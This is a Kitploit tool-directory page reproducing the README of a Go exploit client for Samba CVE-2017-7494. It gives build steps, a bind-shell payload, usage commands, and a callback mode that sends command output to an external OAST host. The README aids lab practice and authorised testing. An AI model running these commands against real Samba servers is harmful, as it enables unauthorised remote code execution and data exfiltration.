Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Sambacry-exploit-CVE-2017-7494-go — Standalone Go exploit client for Samba CVE-2017-7494: uploads a shared-object payload to a writable SMB share and triggers dlopen via IPC$ named pipes, with precondition checks and callback modes. | Kitploit
工具/GitHubGitHub/tarunyenni/sambacry-exploit-cve-2017-7494-go
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationNetwork SecurityPenetration TestingRemote Access TrojanLabs & Practice
GitHubtarunyenni/sambacry-exploit-cve-2017-7494-go

Sambacry-exploit-CVE-2017-7494-go

Standalone Go exploit client for Samba CVE-2017-7494: uploads a shared-object payload to a writable SMB share and triggers dlopen via IPC$ named pipes, with precondition checks and callback modes.

2026年11月30日尚未审核
分享
查看仓库
内容在请求的语言中不可用。显示英文版本。

SambaCry (CVE-2017-7494) — Go client

Standalone Go exploit client for CVE-2017-7494 (no Python, Impacket, or venv on the attacker host). It uploads a Linux .so to a writable SMB share and triggers dlopen through a crafted named pipe on IPC$ (forward slashes preserved — required for the bug).

Attribution: technique described in public research on SambaCry; not affiliated with third-party PoC maintainers.

More docs: DEPENDENCIES.md · CLONE.md (first-time build) · requirements-system.apt


Legal disclaimer

Full text: DISCLAIMER.md

Educational and authorized use only. This project exists to study CVE-2017-7494 and to demonstrate impact in controlled environments (labs, CTFs, penetration tests with written permission).

  • Use only on systems you own or where you have explicit, documented authorization.
  • Unauthorized access to, or modification of, computer systems is illegal in many countries.

The author is not responsible for any use or misuse of this code, including illegal or unauthorized activities. You assume full responsibility for complying with applicable laws and contracts. The author provides this software as-is, with no warranty.

If you store this repository privately, restrict who can access it and do not deploy it against production systems without approval.


What you need to know

TopicDetail
Attacker binarysambacry — built for your OS/CPU (make clients → dist/)
Victim payloadlibbindshell-samba.so — must match the Samba server OS/CPU (default build: linux/amd64)
Affected Samba≥3.5.0 before fixes 3.6.25 / 4.4.14 / 4.5.10 / 4.6.4 (distro backports may differ)

Build

Victim .so is built from payload/bindshell-samba.c and embedded at build time (not committed to git).

make deps          # optional: apt + go modules (see DEPENDENCIES.md)
make               # amd64 victim .so + cross-compile dist/sambacry-*
make native        # local ./sambacry only

On ARM Kali, the client can be arm64 while the victim .so stays amd64: VICTIM_ARCH=amd64 make payload (default).

Do not rely on plain go build on a fresh clone — run make clients or make native so internal/payload/libbindshell-samba.so exists for go:embed.


Exploit usage

./sambacry -t TARGET -u USER -p PASS -P 6699 -c id
FlagPurpose
-tTarget IP or hostname
-u / -pCredentials
-NAnonymous SMB (null session), like smbclient -N
-u guestGuest account
-s / -rShare and remote path (auto-detected if omitted when creds allow)
-eLocal payload .so (default: embedded)
-P / -cOne-shot listener port and command (-P 0 = trigger only, no connect-back)
-callbackOutbound HTTP POST of command output to URL (Collaborator/webhook); no inbound port on target (curl/wget on victim)
-callback-hostOptional: replace loopback in -callback with an IP/hostname the victim can reach (your LAN IP, 172.17.0.1 for local Docker lab, etc.)
--try-all-sharesTry each writable share until success
--no-colorPlain terminal output

Auth: -u/-p, -u guest, or -N / -u %. Many real targets block null sessions; guest needs guest ok and writable shares.

Callback modes

Scenario-callback
Internet / OASThttps://YOUR_ID.oast.fun (Burp Collaborator, etc.) — victim must egress to the internet
Self-hosted (lab/LAN)URL the victim can reach; optional tools/http-request-logger/ on your host (Python 3, stdlib only — not netcat; curl needs HTTP 200)

Victim runs the command and POSTs output; nothing listens on the target. See docs/DOCKER-LAB.md for docker-bridge (-callback-host 172.17.0.1) notes.


Vulnerability check (-check)

Non-invasive precondition test (no payload upload, no dlopen trigger):

./sambacry -check -t TARGET -u USER -p PASS
./sambacry -check -t TARGET -u USER -p PASS --samba-version "Samba 4.5.9"

Verdict colors

ColorMeaning
GreenWritable share + named pipes and Samba version in CVE affected range
YellowPreconditions OK; version unknown or inconclusive
RedPreconditions missing or version looks patched (upstream numbering)

Exit codes: 0 = green, 2 = yellow, 1 = red.

Version detection (authorized targets)

Order of attempts:

  1. --samba-version or env SAMBACRY_SAMBA_VERSION
  2. In-binary SMB1 banner (if the server still allows SMB1)
  3. nmap --script smb-os-discovery (anonymous, then with your -u/-p)
  4. smbclient -L / nmap -sV if installed on the attacker host

Windows .exe: usually no smbclient/nmap on PATH. Use --samba-version from prior recon, install Nmap for Windows for credentialed discovery, or accept a yellow check and run the exploit with explicit authorization. Version is advisory for the check banner only; exploit does not require -check.

Dev-only: SAMBACRY_LAB_HINTS=1 enables a local Docker smbd -V hint — not for real engagements.


Docker lab (local practice)

Full steps: docs/DOCKER-LAB.md

Quick start:

./scripts/lab-up.sh              # docker compose → vulnerables/cve-2017-7494 on :445
make native                      # build ./sambacry once
./sambacry -check -t 127.0.0.1 -u sambacry -p nosambanocry
./sambacry -t 127.0.0.1 -u sambacry -p nosambanocry -P 6699 -c id
# Callback: OAST or local HTTP logger (see docs/DOCKER-LAB.md)
./sambacry -t 127.0.0.1 -u sambacry -p nosambanocry -callback 'https://YOUR.oast.fun' -c 'id;hostname'
./scripts/lab-down.sh              # stop lab

Optional Samba profiles: ./scripts/lab-apply-smb.sh stock|multi|anonymous|rename (configs in testdata/).

This repo includes docker-compose.yml only (pulls the public lab image). It does not build Samba from source — see docs/DOCKER-LAB.md if you need a custom image.


Repository layout

cmd/sambacry/           CLI entrypoint
internal/check/         CVE-2017-7494 precondition checks
internal/exploit/       exploit orchestration
internal/smbops/        SMB session, auth, upload
internal/target/        share probe, paths, triggers
internal/out/           terminal colors
internal/payload/       go:embed victim .so
third_party/go-smb2/    vendored SMB2 + SambaCry helpers
payload/                bindshell-samba.c source
docker-compose.yml      optional lab target (image: vulnerables/cve-2017-7494)
docs/                   DOCKER-LAB.md — setup and execute walkthrough
testdata/               optional Docker lab smb.conf snippets
scripts/                build + lab-up / lab-down / lab-apply-smb
tools/http-request-logger/  optional HTTP request/response logger (Python; see README there)

CVE reference

下载工具

相关工具

  • metasploit-framework

    开源漏洞利用框架,具备模块化载荷、编码器和辅助系统,用于跨网络和应用的渗透测试、漏洞验证及安全研究。

  • donut

    生成 x86、x64 或 AMD64+x86 位置无关的 shellcode,可从内存加载 .NET 程序集、PE 文件及其他 Windows 有效负载,并带参数运行它们。

  • sRDI

    反射式DLL注入的Shellcode实现。将DLL转换为位置无关的Shellcode。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    Callisto

    jetp1ane/callisto

    自动化二进制漏洞分析工具,通过Ghidra反编译可执行文件,使用Semgrep扫描伪C代码,并利用GPT-3.5-Turbo验证发现以减少误报。

    796
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    针对 CVE-2026-43499 的一键式 Android 内核漏洞利用应用,通过内核模块加载实现权限提升,并提供偏移提取与设备端分析工具。

    735
  • 3

    IMSIcatcher

    28zaaky/imsicatcher

    IMSI Catcher 平台,可部署伪基站 GSM 小区以拦截短信、注入消息并追踪移动设备

    721
  • 4

    opencti

    opencti-platform/opencti

    开放式网络威胁情报平台

    535
  • 5

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    424
  • 6

    DFRoot

    a2333c/dfroot

    Android root tool for Samsung Galaxy S25 Ultra (SM-S938B) that chains DirtyFrag CVE-2026-43284 and CVE-2026-43499 to gain root automatically at boot via KernelSU.

    419

探索所有工具

浏览我们的工具集合

查看所有工具 →